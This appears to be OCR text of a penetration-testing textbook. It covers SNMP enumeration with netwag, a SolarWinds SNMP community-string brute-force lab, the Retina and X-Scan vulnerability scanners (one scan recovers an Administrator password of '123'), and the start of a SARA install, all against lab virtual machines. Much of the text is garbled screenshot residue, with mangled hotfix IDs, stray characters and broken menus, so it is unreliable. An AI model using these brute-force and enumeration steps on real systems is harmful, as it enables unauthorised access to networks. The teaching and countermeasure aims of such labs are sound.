-1.3.6.1.2.1.25.6.3.1.2.4 'Windows Z0OOO0 Hotfix - EB&ZZ&31"
-1.3.6.1.2.1.25.6.3.1.2.5 'Windows Z00O Hotfix - EB8Z3182"
.1.3.6.1.2.1.25.6.2.1.2.6: 'Windows 2000 Hotfix - KBBZ3ELE3'
.1.3.6.1.2.1.25.6.3.1.2.7: 'Windows 2000 Hotfix - KBBZ4l05'
.1.3.6.1.2.1.25.6.3.1.2.8: 'Windows Z000Q Hotfix - KBBZS1ll3'

i - -0 NS . 2~ i T 'WMindeows 2000 Hotfix - EBSZEB035'
21.3.6.1.2.1.25.6.3.1.2._ 'Windows 2000 Hotfix - EBS28741'
.1.3.6.1.2.1.25.6.3.1.2._ 'Windows ZO0O0 Hotfix - KBSZE743°'
.1.3.6.1.2.1.25.6.3.1.2. 'Windows Media Services Hotfix - KB832353'
.1.3.6.1.2.1.25.6.3.1.2. 'Windows ZO0O Hotfix - KB23E5732'
.1.3.6.1.2.1.25.6.3.1.2. 'Windows ZO0O0 Hotfix - EKE237001°'
.1.3.6.1.2.1.25.6.3.1.2. 'Windows Z000 Hotfix - EBS33643'
.1.3.6.1.2.1.25.6.3.1.2. 'Windows Z000 Hotfix - HKBS39645" = |
i - o -0 e . .2~ i T 'WMindeows 2000 Hotfix - HBS40315'
21.3.6.1.2.1.25.6.3.1.2._ 'Windows 2000 Hotfix - EBS41872'
.1.3.6.1.2.1.25.6.3.1.2._ 'WMindows 2000 Hotfix - EBS41873"
.1.3.6.1.2.1.25.6.3.1.2_ 'Windows ZOO0 Hotfix - KEB&4ZE5Z6"
.1.3.6.1.2.1.25.6.3.1.2. 'Microsoft Data Access Components EBB70669 "'
.1.3.6.1.2.1.25.6.3.1.2. 'Microsoft .NET Framework {(English) wl.0.370&'
.l1.3.6.1.2.1.25.6.3.1.2. 'mx0RB'

$ Copy command|un it agan».';

160 --dst-ip 172.16.1.46 --oid ".0.1"

This wversion contains 197 tools

|Punning "160 --dst-ip 172.16.l1.46 --oid ".0.1""

Tool finished its job

start || ] @ 1 8 11 @ | [[F netwag

£\ Your version of ¥Mware Tools is oLt of date,

A list of software installed on the target is provided.

*Note: This list is not an all-inclusive list. This list of software is identified in the
Add/Remove Programs sections on the target.

B Windows 2000 Server - ¥Mware Workstation o [=] 3]
| Fle Edt Vew WM Team ‘windows Help

J

# netwag

Fle Edbt Session Options Help

[ T [ E=

_25: 'NoSpamToday! SNTP Proxy Version 2.0' |

1.3.6.1.2.1.25.6.5.1.2
1.3.6.1.2.1.25.6.5.1.2. 'Outlook Express 0823353

.1.3.6.1.2.1.25.6.3.1.2. ' Cmnigquad Mailwall'

50568605 816 B dbo 5 G Bedlo B 'Uindows Media Player Hotfix [See 0828028 for more informatiom]'
b1 G0 ks B s F25 B Ded e 'Fluffy the SHTPGuardDog’

450510 dlo B dbo 5 B Sod b e 'UinZip'

(1.3.6.1.2.1.25.6.3.1.2. ‘Microsoft FrontPage Clieme - English'

1.3.6.1.2.1.25.6.3.1.2. ‘Microsoft Windews Jowrnal Viewer'

1.3.6.1.2.1.25.6.3.1.2. 'WebFldrs'

1.3.6.1.2.1.25.6.5.1.2. 'Pinjo revealer'

1.3.6.1.2.1.25.6.3.1.2. 'SpemPal manual (English-language)'

55680605 816 Ba o 5 G Bl B ‘Microsoft .WET Framevork (English] vl.0.3708'

b1 8k B s 25 B Ded b 'VHware Tools'

0 b1 dlo B dbo 5 B Tod i e ‘Microsoft .NET Framswork L.1'

8ol Badlo Badbo H5 BrSodletiy 'Wisual Studio.NET Baseline - English'

1.3.6.1.2.1.25.6.3.1.2. 'SpanPal’

(1.3.6.1.2.1.25.6.3.1.3.1: .0.0 i
(1.3.6.1.2.1.26.6.3.1.3.2: .0.0

1.3.6.1.2.1.25.6.5.1.3.3: .0.0

(1.3.6.1.2.1.25.6.3.1.3.4: .0.0

.1.2.6.1.2.1.25.6.2.1.3.5: .0.0

.1.3.6.1.2.1.25.6.3.1.3.6: .0.0

B Gl o B b 5 G ol loBts o)

(1.3.6.1.2.1.25.6.3.1.3.8: .0.0

] =
3 copy commend| Dun it agamlt

160 --dst-ip 172.16.1.46 --oid ".0.1" =y

=

44

Thiz version contains 197 tools -l
[ruming 160 ——ast-ip 172.16.1.46 --oid "L0.100 =t
Tool finished its job LI

Astart ||| 11 & = & 11 @ ||[Fretwag S zzem
A\ Your versian of YMiare Toels is out of date., (=T
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A list of usernames on the target as well as the Workgroup name assigned
to the target are also provided

indows 2000 Server - ¥Mware Workstation o [=] 3]

| Fle Edt View WM Team ‘windows Help

@\Mnduws 2000 Server

136 1.4.1.77.1.2.24.
01.3.6.1.4.1.77.1.2.28.1.1.5.71.117.101.115.116: 'Guest’'
01.3.6.1.4.1.77.1.2.28.1.1.5.117_115.101.114.45: 'userl’
01.3.6.1.4.1.77.1.2.25.1.1.5.117_116.101.114.50: 'userz’
01.3.6.1.4.1.77.1.2.25.1.1.5.117.116.101.114. §1: 'user2’
01.3.6.1.4.1.77.1.2.25.1.1.6.65.63.80.78.69.84: 'ASFNET'
01.3.6.1.4.1.77.1.2.25.1.1.10.73.85.83.82.95.87. 50. 75. 65.83: 'IUSE_UZRAS'
01.3.6.1.4.1.77.1.2.25.1.1.10.73.87.65.77.95.87.50.75_65.83: ' IUAM_UZKAS'
01.3.6.1.4.1.77.1.2.25.1.1.13.65.100.109.105.110.105.115.116.114.57.116.111.114: 'kdministrator’
01.3.6.1.4.1.77.1.2.25.1.1.14.84.116.73.110.116.101.114.110.101.116.85.115.101.114: 'TsInternetlser’
01.3.6.1.4.1.77.1.2.25.1.1.16.78.101.116.83.104.111_11%_&3.101.114_116 108.55.101.116: 'NevShowServices'
b Bl i1 B

S G B

b ol 2

ol dlot oy 3

el Fadbo oy 3

S s £

il i £

Al G A 8.

b T bl i1 4 ' WORRGROUEP'

S @

oG s Elails : 222910735

ol EoGndotloily

bl Fatol i : 6530205

]

$ Copy command|Bun it agalnlz

160 --dst-ip 172.16.1.46 --oid ".0.1"

This version comtains 197 tools
[rrming 160 --ast-ip 172 16.1. 46 --oia "Loo1vn
Tool finished its job

Astart|| | [ @ 1 11 @ |[[Fnetwag

A\ Your version of ¥Mware Tools is ouk of date oy -

*Note: I cannot stress enough the importance of this tool for either an attacker or a
vulnerability/penetration test. The sheer amount of tools available is incredible.
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Lab 62: Brute-Force Community Strings
Exploit the SNMP Community Strings: Solar Winds -

Prerequisites: Target running SNMP

Countermeasures: Secure ACLs, strong community names, Bastion com-
puter, host-based firewalls

Description: The Solar Winds application is one of the few commercial
applications in the manual. The functionality of Solar Winds warrants
its demonstration. In this lab, Solar Winds is used to perform a brute-
force attack against an SNMP device.

Procedure: Install the application, start, set parameters, and execute.

Install the Solar Winds application. In this example, the 30-day demonstra-
tion version is used. Double-click on the SolarWwinds2000-PP-Eval icon.

8

Install the Solar Winds application with the default settings. The Solar
Winds installation will now complete. Click Finish.

B Windows 2000 Professional - ¥Mware Workstation -0l x|

File Edit Y¥ew %M Team Windows Help

o dOLARWIND).NET

Network Management Tools
Selbiiiek 200 Prefessiona s Edlifun
DECeMberZ000IREICasey

Copyright @ 1995-2000 SolarWinds.Net  All rights reserved

Solatwinds 2000 Professional Plus Edition - Evaluation has
been successfully install=d,

Press the Finish button o exit this installation.

<Back  |ERRSR T Cance] |

Bomv




Vulnerability Scanning ®m 387

The Solar Winds toolbar will load.

*Note: Familiarize yourself with each section of Solar Winds. You will notice that
this application has a lot to offer, which is probably why it costs a substantial
amount of money. I can tell you from personal use that this product is worth
every cent.

SolarWinds [5K] solarwinds [ SolarWinds [ SolarWinds [ SolarWinds [

Discovery
Cisco Tools

Discowery

Discowvery

Discowvery

Discowvery

Cizco Tools

Cizco Tools

Cizco Tools

IP Network
Browser

Ping Sweep

Subnet List

=+

SNMP Sweep

A,

HNetwork Sonar

DNS Audit

MAC Address
Discovery

Cizco Tools
Ping Tool=s

Config
Editorfiewer

S0

Download
Config

Running Vs
Startup Conf...

Router
Password D...

Advanced CPU
Load

I",T‘\I
N

CPU Gauge

Router CPU
Load

IP Hetwork
Browser

Ping Tool=

Acidress higmt

Address hgmt

Ping Tools

Proooy Ping
F i Y
N

Ping Sweep

]

Enhanced Ping

Addres=s Mgt

E-Mail Managem. ..

E-Mail Manscgem. ..

E-hdzil Managem. ..

Ping Tool=s

Ping Tool=s

Acddress ogmt

PSP
Subnet
Calculator

IP Address
Management

&
DNS /Whois

DHS Analyser

F am %
LS

Ping Sweep

DHCP Scope
Monitor

E-mi=il hlanagem. ..

Acddress ogmt

Monitoring

Monitaring

hloniitaring

hAoniitaring

E-ti=il Managem...

Spam Blacklist

ronitoring

Perf higrmt Perf kgt Pert hdgmt Pert hdgmt Pert hagrmt
MIB Brows=er B Brow=er MIB Browser rMIB Browwser MMIB Browvwser
Security Security Security Security Security

SMMP Traps

SMMMP Traps

SkMP Traps

SrMMP Traps

SkMP Traps

Mizcellansous

Miscellansous

Mizcellansous

Miscellansous

Mizcellansous

Help & vwek

Help & wWwek

Help & wWisk

Help & WWiek

Help & WWek




388 m Practical Hacking Techniques and Countermeasures

Continue to scroll through each section. You will see even more options.

SolarWinds [%) Solarwinds [ [l Solarwinds [%] [l Solarwinds [¥) [l Solarwinds  [5]

Discovery Discovery Discovery Discovery Discovery Discovery Discovery

Cizco Tools Cizco Tools Cisco Tools Cisco Tools Cizco Tools Cisco Tools Cisco Tools

Ping Tools Ping Tools Ping Tooks Ping Tools Ping Tools Ping Tools Ping Tools
Address Mgmt Address Mgmt Address Mgmt Address Mgmt Address Mamit Address Mamt

anage E-Mad | E-Mail Managem...§ | E-Mail Managem.. | E-Mail Managem... E-Mail Managem. ..

I g Monitoring Monioring

Perf Mgmt Perf Mamt Pert Mgmt
MIB Browwser MIB Browser

m Security
Hetwork SNWP Traps
Performanc... Mizcellaneous

Porl Scanner =

=]

SHMP Graph

Real-Time
Interface Mo...

SHMP Trap

&) Receiver TFTP Server
Router
Password D...

On-Line Manual

55

SolarWinds
Web

5

Updates &
New Progra...

&

On-Line
Customer A...

Helwork
Monitor

ot

Helwork
Performanc...

Trap Editor

]
SHMP Graph
’ \ Remole TCP
i Session Reset Send Page
Bandwidth
Gauges

MIB Walk g

-
Wake-On-LAN

0l

e

. SHMP Brute
Enhanced Ping e Force Attack
Advanced CPU

Load

A @

Syslog Server

SHMP
Dictionary At...

&

CPU Gauge

Soflware
SHMP Trap Version

Receiver

Pert Mgt
MIB Browser MIB Browser
Securtty Securtty
SNMP Traps SNMP Traps SNMP Traps

H!E&\Wb Help & Web Heip & Web
SNMP Brute Force Attack will attack a IP address with SNMP queries to try and
determine the SNIMP read-only and read-write community strings. It does this by
trying every possible community string. You can specify the character set to build
words from as well as the maximum length of the community strings to try.
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Click the Security section. Click on SNMP Brute Force Attack.

Security

= ca.
g

SHNMP Brute
Force Attack

Port Scanner

Router
Password D...

Remote TCP
Session Reset

el

SNMP Brute
Force Attack

SNMP
Dictionary At...

The SNMP Brute Force Attack utility will start. Click the Settings button.

2 SNMP Brute Force Attack
file Edit Help

H 3 #

Export  Print | Settings | Help 3
Target Hostname or IP Address | @
| Avack

Attack Speed: Fast 4]

w JOLATWi

MNetwork Managy
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Click on the Character Set button.

2 SMMP Brute Force Attack Preferences ... E|

l Character Set] Cornrmunity StringS] SNMF’]

[ Stop searching after Read/Only string is found

Ty community ztrings up to 5 characters long

[T [ [

Ok | Cancel | Help |

From the Character Set, select which set of characters to use.

9> SNMP Brute Force Attack Preferences ...

General Comrunity Strings ] SNMF’]

Character zet to uze during attack
Alpha-Mumenc Characters -

Character Set

ABCDEFGHIELMMORPQRST U<y Z abodefghiiklmnopgratusswspz
0123456789

K, | Cancel | Help

From the Community Strings, specify the Starting Community String.
Click OK.

> SNMP Brute Force Attack Preferences ... §|

General ] Character Set | Community Stings l SNMF‘]

Starting Commuinity String |

Leawve thiz blank to zearch all
pozzible community strings

{+ Rotate from right to left
Example : Abdh, ASAR AMLC ASAN AAAF ASAF

" Rotate from left to right
Example : &dds, Bads Cads DAsS EAds Flbdb

Ok | Cancel | Help
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Enter the target IP address, select the Attack Speed, and click Attack.

* SNMP Brute Force Attack

file Edt Help

H s ¢

Attack Speed: Very Fast

?

Export  Print | Settings | Help

Target Hostname or IP Address [13216807

il

@ oupin | @
@

Bl Avack

With this tool the community string will eventually be discovered. The
demo version is limited to a few seconds so the results of this example are
simulated. The full version of Solar Winds Engineering Edition at the time of

this writing is $1,390.

= SNMP Brute Force Attack
File Edit Help

Attack Speed: Very Fast

Target Hostname or IP Address |

?

Help

kil

@ oLazvnosnEr

1rl Pause

Attack running ...
Current Community String
SHVP Queries
Bandwidth being used

Target device
Target IP Acdress
Response Time
Packet Drops
DS Maime
System Name

Aftack Character Set
Mesimum community string length

Readionly Commurity String
Readiite Community String

348 total at 96.7 per second
Approximately 49.5 Kbps

19216807
19216807

1 miliseconds:
o

unknown

Elpha characters
12 characters

CantHackMe
CantHackMez

*Note: When attackers discover the read-only community string, they are able to
perform an SNMP walk, which discovers various amounts of information
about the network. When the read/write string name is found an attacker
can then read the values of the managed device, make configuration changes,

and even shut down or reboot the system.
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Lab 63: Target Assessment

Assessment of Target Security: Retina

Prerequisites: None

Countermeasures: Secure ACLs, Bastion computers

Description: The Retina application is another commercial application.
This application is designed to perform a security assessment of the
target. Retina scans ports, traceroutes, performs audits with numerous
canned scripts, generates precise reports, provides recommended solu-
tions for security concerns, and much more. For the purposes of this
lab, the 30-day demonstration version will be used.

Procedure: Install, set parameters, and execute.

Double-click the Retina4986Demo icon to start the Retina installation.

Retina495a0e
i

Install the Retina application with the default options. If the Microsoft Data

Access Components (MDAC) are not installed, accept Retina’s offer to install
them. Click Next.

[Bl] Windows 2000 Professional - ¥Mware Workstation | =l3lx|

File Edit Y¥ew %M Team ‘Windows Help
ifre Bk Eam

(3 Windows 2000 Professional

ebEye Digital Security

Retina Network Security Scanner QECURITY
Rena E

Start Installation f N

Setup iz now ready to install Retina

This installation requires MDAC (Microsoft Data Access Components] to be installed for

revinstalled) on yaur spstem. You can optianall choose fo reinstall MSJet by selecting the
Sppropriate checkbos below

Addiianal Infarmation

¥ Install Micrasoft Data Access Components [MDAL)
I Install M5 Jet

Press the Next button to begin the installation or the Back button ta reenter the installation
information.

Cancel

Hstart ||| 1] & =5 H 4 JHammer of God Utiities - ... | Y {iwindowsiRatina || retina 4.9.86 GoEER 1zu7em
Bomw
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In this example, the MDAC will be installed.

§ windows 2000 Professional - ¥Mware Workstation

File Edit Y¥ew %M Team Windows Help

nrelGeplEa®

H

(3 Windows 2000 Professional

7 eEye Digital Security

Retina Network Security Scanner

Wise Installation System

Your system s now being prepared for the:
MDA 2.6 installation. This will oni take a
=" fewmoments.

Hhstart ||| ] & 51 H & ]Hammer of God Utiities - ... | -y iwindowsiReting || retina 4.9.86 |Cﬂ—$ 12:17PM

EEmw

The Retina installation will complete. Accept the default option to Launch
Retina. Click Finish.

lows 2000 Professional - ¥Mware Workstation

i ~=lofx|

File Edit %ew %M Team Windows Help

njralGoblEam

<2 Retina 4.9.86
ebEye Digital Security

Retina Network Security Scanner
CE——
Installation Complete

Setup has complated successhull,
Retina has been installed

[¥ Launch Retina

Press the Finish button to exit this installation.

L e e

Hstart ||| 1] & £ H & ]Hammer of God Utiities - ... | -y iwindows\Reting

|| Retina 4.9.86 [¢ Egp 12z2pm
A= 0
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Retina is helpful from the beginning by offering a wizard when starting
up. In this example, the wizard was canceled by pressing the Cancel button.

dows 2000 Professional - ¥Mware Workstal

File Edit %ew %M Team Windows Help

njralpoblEam

=10 =]

12 le=@dRaale —Masln.
WelomeToReting

Welcome to Retina

This wizard will help you get started using Retina. It will
guide you through performing your first vulnerability scan.

Retina is a best-ofbreed scanner supported by powerful
features including wulnerability auditing modules for many
systems and services. These include: NetBIOS, HTTP,
CGl, FTP, DNE, DoS, POP3, SMTP, LDAR, TCPAR, UDP,
Registry, Services, Users and Accounts, passward
vulnerabilities, publishing extensions, and mare.

Note: To launch this wizard in the future, select Getting
Started from the Help menu

Press the "Mext" button to continue.

Al ¢ Back Hewt > Exes |

ﬁ 12:33PM
Comew s

Astart || ] @ 1 || EHanmer of Gogu... | Cyewindowsipe... | G5 Retina - (Untted]...|[Welcome To Retina

Retina will start with the IP address of the machine it is installed on in the
Address block.

Bl Windows 2000 Professional - ¥Mware Workstation J =] 5]

File Edit Y¥ew %M Team Windows Help

nrelGeplEa®

File Edt Wiew Action Tools Help

| address: [172161.42 Hle-le»@Ed |+ - B&EFID-?

Scanner - Default

Find

-]

; Did you know...
Support Vou can mail technical support questions to httpe {fwwu, eeve. com/support. +

Hhstart ||| ] & 51 H & ]Hammer of God Utiities - ... | -y iwindowsiReting || retina - [untitied] - Ev... |Cﬂ—$ 12:33PM
=T I
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Enter the target IP address or Hostname. Click on the start button
press the Enter key.

windows 2000 Profassional - ¥Mware Workstation o [=] 3

File Edit ¥ew %M Team Windows Help

File Edt wiew Action Tools Help

| pddress: [17216.1 40 Hle-le>-0Ral+t - Ra=|D-?

-]

'x Did you knaw...
Support YYou can mail technical support questions o http:i v eeve, com/support, ’

iﬁstartm @& =3 H & THanimer of God Utiities - | (JE: i windows|Retina |[: Retina - [untitied] - Ev... g 1za7em
Bemw

Retina will scan the target for open ports, any shares, users, services, machine
information, and will perform a security audit of the target for known vulnerabilities.

Bl Windows 2000 Professional - ¥Mware Workstation J =] 5]

File Edit Y¥ew %M Team Windows Help

nrelGeplEa®

File Edt Wiew Action Tools Help

| address: [172161.40 Hdé-le~0Rd|+ - BRAFD-9?
Scanner - Default
172.16.1.40
11/18/05 12
Domain Name win2000s-v
Ping Response | Host Responded
Avg Ping Response | 39 ms
Time To Live 128
Traceroute 172.1
@ NMP default cormuniy name
# [NetBIOS Hul Session
o |Accounts mmouse - Password Dioes Mot Expire
o |Accounts 1USA_WINZOO0S - - Password Doss Not Expire
o [Accaunts Telnkemetljser - Password Doss Not Expire
o [Accounts Kermit - Password Does Nol Expite B
; Did you know...
You £on il echricl suppert questions o it s covecom s oo, E 4

Sean complete
Hhstart ||| ] & 51 H & ]Hammer of God Utiities - ... | -y iwindowsiReting || retina - [untitied] - Ev... |Cﬂ—$ 1140PM
EEmw
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In this example, a critical SNMP error is selected and the details of this
error are displayed in the lower section of the application, including these
areas:

B Description

B Risk Level

B How To Fix

B Related Links

B CVE link (Common Vulnerabilities and Exposures Web site)
R=E
File Edit Yew WM Team ‘Windows Help

ule &

A H (F Windows 2000 Professional

File Edit Wiew Action Tools Help

| adress: [172.16.1.40 Ale-le-0Ral+ - RaEID-? ‘
Scanner - Default
ST - Goocio ]
040 Address 172.16.1.40
Report Date 11/18/05 123718 PM
Domain Name win2000s-v
Ping Response Host Responded
Avg Ping Response |33 ms
Time To Live 128
Traceroute 0
Audits 040
[y SNMF Seivers
* Nul Session
o [Accounts mmouse - Password Dioes Not Expire
o [Accaunts 1USR_WIN2000S - Passward Daes Not Expire
o |Accounts TsIntemelllser - Password Does Not Expire
o |Accounts Kemit - Password Does Not Expie B
The community name set for the SHMP service was detected, this may be due to the
fact itis a deFault community name enabled after instalation.
JRisk Levet: 20
(ATTORE T M Disable this community name, or password protect use of it,
T LCD-SHME Home Page
A Simple Network: Protocal (SNMP)
[RT7I /1)-1929-0517
Did you know...
& R >

Scan complsts
Hstart || (2] & 53 || e of God iies - .. | SEAsiwindovsipetna [ Retina - [untitied] -£v..  [{-EJEE 140em
Bemw .

*Note: Retina is used by attackers to find faults and exploit them. Retina is used by
security administrators to find and correct those same exploits. Among the
commercial vulnerability scanners available, Retina is one of the best.
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Lab 64: Target Assessment

Assessment of Target Security: X-Scan

Prerequisites: None

Countermeasures: Secure ACLs, Bastion computer, host-based firewalls

Description: The X-Scan application is designed to perform a security
assessment of the target. X-Scan scans ports, traceroutes, performs
audits with numerous canned scripts, generates precise reports, and
provides recommended solutions for security concerns and much
more. X-Scan is basically the free equivalent of Retina (see Lab 63).

Procedure: Start the application, set the parameters, and execute.

Click on the xscan_gui icon to start the X-Scan application.

<

wsCan_gui

The X-Scan application starts. Configure the X-Scan application by clicking
on Config and then clicking on Scan Parameter.

%% X-Scan v2.3 GUI

File Config Wew Todls Language Help

@ | b N B B & @

#-Scan-v2.3 User Manual

1. Systern requirement: Windows 9x/MT42000

2. Introcuction:

#-Soan iz a general network vulnerabilties scanner for scanning networks vulnerabilities for specific IP address
follovwing tems can be scanuter by rutithreading method. Plug-ing are suppottable and GUI or CUI programs are
SERVER, FTP-SERVER, Sllowing tems can be scanned: remate O F type and wversion detection based on TCR/IP
be browsed by & Web Browport status and port BANMER. information, SMMP information, CG1 vulnerability, 115

lity, S5L wulnerabilty, SQL-SERVER, FTP-SERVER, SMTP-SERVER, POP3-SERVER,
szword pair prob, NT server NETEBIOS information, Register information, etc. The result

3. Components: ry, whose index can be found inindex_* hitrn which can be brovwsed by a Web Browser.
5, the corresponding descriptions and solutions are provided. Az to other vulnershilties,
wEcan_guiexe  — X-Sand "Wulnerability enging” in s xfocus.org.
HECAN.EXE — X-So

.
[y (e
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Under the Basic config tab, enter the target IP Address.
Change the default Skip host when failed to ping to Scan always.

=i
Basic confiz | Paxt | Swump | HTTP | Dictionary | Proxy |
1 3can range 2. Thread
e e Masimal smuber of thread:
100
|172.16.1.46|
Masimal maber of host:
[~ Load host List from file lls—
(=]
3 Other
[V Display veshose information
" Skip host when failed to ping
™ Ship host when no opened port be found
% Scan abrays
=

Load defanlt | OK | Caneel |

Under the Port tab, enter the ports in Scan port and Scan mode to scan
on the target.

Basic config  Port ISrm\p | BTTP | Dictionary | Proxy |

1 Sean port:

|1-1 39,443,445,1080,1433,2045,31 28,3383, 5000,7000-7010,8010,8080,E1 51

2 5can mode:
[rce| |

3 Defanlt port:

HTTP: (%0 REC: L1
FTP 21 FINGER: 72
SMTE. |25 SOL-SERVER: 433

Load defanlt ‘ 8):9 Cancel
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The remaining information may be left at default values unless this is an
SNMP assessment, which is configured on the Snmp tab. Click OK.

Basic config | Port |HTTP | Distionary | Prozy |

=101

| Srump information

[¥ Get interfaces infomation

¥ Get IP information

[¥ Get TCF information

[V Get UDP infonmation

[V Get Wins wser list

Load defanlt Caneel

S

To begin the assessment click the start button B or click on File and then
click Start. The results are displayed as the assessment executes.

indows 2000 Professional - ¥Mware Workstation o [ 3

Ei]

File Edt View %M Team Windows Help

njre|tan e
A

lows 2000 Profes:

File Config Wiew Tools Language Help
|o0jpn = @lala |
4 172.16.1 46 (Windows NT 5.0) Host [
El g% Trace-Route
~(E) 010000 s - 172.16.1 96 [w2k
=@ Port-Status
~{3) 35 - SMTP, Simple Mail Transf
~{3) 80 - HTTF, World Wide Web
~{E) 7007 - afs3-bos basic overseer p
(3) 135 - Location Service
(3) 139 - HETBIOS Session Service
(3) 443 - Hitps, Securs HTTP
(3) 443 - Wicrosoft-DS
(3) 3389 - Windows 2000 remote a

Tirmels) | Thead | Cumrent schedule [

G NT-Semver-Passmond [172.16.1 461; Checking "Fart: 5901" |
€ Administratort123) [172.16.1 45]; Poxt 7007 is opemed: afi3-hos hasic oversesr process
E Y NetBios-Info [172.16.1 46]: Poxt 133 is opened: Location Service
: [172.16.1 46]; Poxt 139 is opened: NETBIOS Session Service
HetSerrerGetlnfo
. 172.16.1 46]: Paxt 443 is cpened: Hitp$, Seme HTTF
() NetRemoteTaD
i [172.16.1 45]: Poxt 445 is opened: Microsofi-DS o
) HetServerTransporDinazn. [172.16.1 46]: Port 3389 is opened: Windows 2000 remote admin
+3) HetSassionErmm [172.16.1.46]; "Port Status" scan complete, Found 3.
-(3) NetServerEmm [172.16 1 46]: Checking "Sump-Infa"
+(E) WetShareEmum [172.16.1 46]: Chacking "Snmp-Passuord: Public"
&) WetlserErmmm [172.16 1 46]; Checking "Snmp-Password, private”
) WetLocalGroupEmm [172.16.1 46]: Checking "Snmp-Password: private”
&) WetCroupEmmm [172.16.1.46]: Chacking "Snrmp-Passurard: Private"
[172.16.1 46]: Checking "Snmp-Fassword.: privatewr” ..
[172.16.1 46]: Checking "Snmp-Fassword: allprivate”
[172.16.1 46]: Chacking "Snmp-Passurard: all private"
[172.16 1 46]; Checking "Snunp-Password: secret” ..
[172.16.1 46]: Checking "Snmp-Fassword: word"
[172.16.1 46]: Checking "Snmp-Password: read”
[172.16.1 46]: Checking "Snmp-Password: read_AU"
I I | ey i iy =
Complate |Active thread: 0

;ﬁstartm ol @& 153 H E)w-Seon report - M...| CYEHHWindowslxscan| [y wscan_gui
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An HTML page displaying an itemized result of the assessment is given by
clicking on the green report button B or by clicking on View and then
clicking on Report.

lix

File Edit View WM Team ‘Windows Help
TR ERE SN

{53 Windows 2000 Professional

Fle Edt View Favortes Tools Help |

Gagack - = - (D [2 A | Dsearch [Garavoress (Gstory | By S

Agkiress [ Exiwindowstyscantjoghindex_172,16,1,46.htm = e Hunks By
Seen w2 3 report [X Focus | Bl

[Sean Module]:
Trace-Route
Port-Status
Snnp-lafa

BEL-Vuln

RFC-Vuln
SOL-Server-Passward
FTP-Password
NT-Zerver-Password
HetBios-Info
SMTP-Vuln
POP3-Password
HTTP-Vuin

FingesTuln
Sygate-Vuln

[Scan Range]:
17216146 - 172161 46

[Scan Result]

[172.161 46" [Detait]Bummary - Host name: *wZkas", OS: "Windows HT 507 | =
€] Done [ | mkemet

dhistart|| 1] @ =2 ||[E]%-Scan report - vicros... U KiWindonsiusean | Byscan gu | [G @ assm
Eome

By clicking on the Details selection on the Web page reveals the specifics
of the results.

8l Windows 2000 Professional - YMware Workstation =10l x|

Fle Edt View ¥M Team ‘Windows Help

nlre|Ben|ealon

(53 Windows 2000 Professional

P E——— =181 ]

Ele Edt Vew Favorkes Tools Help |

4mpack - = - @ [2] A | Bsearch [Favorites (BHstory | By S
address [E1 0 172.16.1 46.htm =l @ [|unks >

H-Scan w23 report j
[ndex]: "172.16.1 46"

Trace-Route
Fort-Status
Snmp-Info

BEL-Vuls

RPC.Tuln
BOL-ServerPassword
ETP-Passwon
HT-Server.Password
SMTP-Vuln
POP3-Password
HTTE-Vula

115-Vuln

BIND-Vuln
FingerTulny
Sygate-Vuln

M etBios-Infy
B o)

‘o MetServerGetlnfo NetGetDCN ame HetServerT: Ermm H Fs
HetServerEnum NetServerDiskErm MetlserFrum NetlocalC:
Heti bl HetIchedulel obEnum NetUseEnum

Detail LI

[ | meemet

21
hstart | 1] & =3 “ Erseanreport - i...| CHE windowstuscan| By xscan_gu |[&172.16.046 . [ EBE  s57EM
BEome
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Click on individual results to display each vulnerability result. In this
example, the NT Server Password was selected, which scrolls to the area
of the results page for those details. This example shows the following:

B The Administrator password was determined to be 123.
B The account was last logged into Fri Nov 18 21:48:43 2005.
B The account has logged in a total of 9 times.

*Note: Keep in mind that attackers look at all data collected. If an Administrator
account has only logged in a total of 9 times, this may indicate that the user
does not use that server very much or is not logging out and may not dedicate
appropriate security measures to keep that server up to date. Even if the
password cannot be determined by X-Scan, the fact that this server has port
3389 open indicates other tools may be able to gain access (Lab 59).

8 windows 2000 Professional - VMware Workstation o [ |
Fle Edt Vew VM Team ‘Windows Hep
nire BmhBeE on
53 Windows 2000 Professional
NETET
Fle gt vew Favorkes Tods el |
GBack - = - @D [2] A | Bsearch [EFavorites (BHstory | By S
Address [&] flex/ife 0/172.16.1.46 htma#N T-Server-Password =] #e HUHKS =
[MT-Server-Password] Al
Adnidnistrator123
Aceount type: Administrator
Last logon: GMT FrNov 18 21.48:43 2005
Bad password cout; 0
Humber logons: 9
USER ID: 0x000001 4, GROUP ID: 00000001
Phugin category: HT-SERVER J
Plugin name: NT-Server-Password
Flugin author. glacier
Phagin version: 1.1
Risk rank; high
Deseription: "xoeus” search engine "xforus" exploit search engine
[MetBios Infa]
[HetServerGetlnfo Level 101]
Hostname: "172.16.1.46"
OF: Windows NT
05 version: 50
Comment:""
Host type: WORKSTATION SERVER SERVER_NT BACKUP_BROWSER
] [ | meemet
jﬁstart”] o & 53 “ ETx-scan veport-Ml‘.‘l aE:\x\wundows\xscanl iy xscan_gul || rite: /7 e ... |<E]%£ 357 M
BEome

*Note: X-Scan is an excellent tool to check for vulnerabilities against servers and the
price (free) cannot be beat.
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Lab 65: Vulnerability Scanner
Perform Vulnerability Assessment: SARA

Prerequisites: None

Countermeasures: Secure ACLs, Bastion servers/workstations

Description: SARA (Security Auditor’s Research Assistant) discovers,
analyzes, and reports on security vulnerabilities of network-based
computers, servers, routers, and firewalls. SARA is built to support the
large-scale enterprise model that contains more than 25,000 nodes and
is approved for operation in the SANS Top 10 and Top 20 environments.
Remember that all commands in Linux are case sensitive.

Procedure: Compile, install, execute against target, and review the results.

From the directory containing the compressed files, type tar —zxvf sara-
6.0.7b.tgz.

The files will uncompress into a new directory named sara-6.0.7b.

Change to the new directory by typing cd sara-6.0.7b and pressing Enter.

The SARA application must be configured for the specific machine it is on.
This is done by typing ./configure.

B Red Hat Linux 8 Server - ¥Mware Workstation -0l x|

| Fle Edt view WM Team ‘windons Help

&5 2l /s Red Hat Linux 8 Server
Rdroot@localhiost~/tools/SARA/sara6.0.7b - Shell - Konsole
Session Edit View Settings Help

&) )]

[root@localhost sara-6.0.7b1# ./configurel]

ry % T ; @ Konqueror
‘ @é 3 @ Mozillabin

£\ Your version of ¥Mware Tools is out of date, =
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SARA will now configure to the specific machine it is on.

B Red Hat Linux 8 Server - YMware Workstation =lax|

| Fle Edt View WM Team ‘windows Help

|m m[pr &

rpe socket compatibility...

checking for -Irpcsve... yes
checking for -lsocket... no
checking for -lsun... no

checking for -1PW... no
checking for +DAportable... no

checking how to run the C preprocessor... gecc -E
checking for asm/socket.h... yes
checking for linux/limits.h... yes

checking for stdint.h... yes
checking for TIRPC compatibility... no

checking for uid_t in sys/types.h... ves

